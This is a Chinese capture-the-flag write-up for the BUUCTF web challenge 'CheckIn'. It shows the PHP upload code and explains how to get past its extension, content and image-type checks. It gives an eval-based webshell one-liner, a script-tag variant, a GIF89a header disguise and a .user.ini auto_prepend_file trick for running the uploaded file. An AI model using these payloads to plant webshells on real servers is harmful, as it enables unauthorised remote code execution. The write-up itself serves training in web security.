BUUCTF-web刷题篇(19)

28.CheckIn

源码:

php 复制代码
#index.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看出文件上传类的题目,绕过后缀的文件格式有php,php3,php4,php5,phtml,pht。

构造木马文件<?php @eval($_REQUEST['shell']);?>命名为flag.php

上传木马文件,显示illegal suffix!非法后缀,将flag.php改为flag.jpg,继续上传木马文件,显示<?in vontents!存在违法内容"<?"

改变思路点,将PHP一句话转换为JS形式

重构木马文件

<script language="php">@eval($_REQUEST['shell']);</script>

继续上传

显示exif_imagetype:not image!

重构

GIF89a<script language="php">@eval($_REQUEST['shell']);</script>

上传成功,使用蚁剑测试连接,可以连接,但是返回数据是空的,猜测后台并没有解析PHP代码。访问题目源码,提示是.user.ini配置文件。

.user.ini配置文件与.htaccess配置文件比较类似,概述来说,htaccess文件是Apache服务器中的一个配置文件,注意这几个字"改变文件扩展名"。

.htaccess配置文件格式

<FileMatch "1.jpg>

SetHandler application/x-httpd-php

.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

可以把.user.ini理解为用户可自定义的php.ini配置文件,.user.ini的两个配置项,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。

创建.user.ini文件

php 复制代码
GIF89a
auto_prepend_file=flag.jpg

上传.user.ini文件

连接蚁剑:密码:shell

相关推荐
wanhengidc22 分钟前
云手机 数据网络安全防护
安全·web安全
网络研究院4 小时前
2026年智能体人工智能的激增引发新的网络安全风险
网络·人工智能·安全·web安全·ai
捧 花5 小时前
Go Web 中 WebSocket 原理与实战详解
网络·后端·websocket·网络协议·http·golang·web
编程乐学(Arfan开发工程师)5 小时前
渗透测试基础详解:通往 CISP-PTE 的第一步
网络·安全·web安全
pandarking6 小时前
[CTF]攻防世界:easy_laravel 学习
java·学习·web安全·laravel·ctf
曲幽7 小时前
Flask路由入门指南:从基础定义到优先级与动态路由转换器
python·flask·web·route·path
lubiii_8 小时前
网络安全需掌握的专业术语解析
安全·web安全·网络安全
计算机毕设指导68 小时前
基于微信小程序的网络安全知识科普平台系统【源码文末联系】
java·spring boot·安全·web安全·微信小程序·小程序·tomcat
请输入蚊子20 小时前
BUUCTF[get_started_3dsctf_2016]
安全·web安全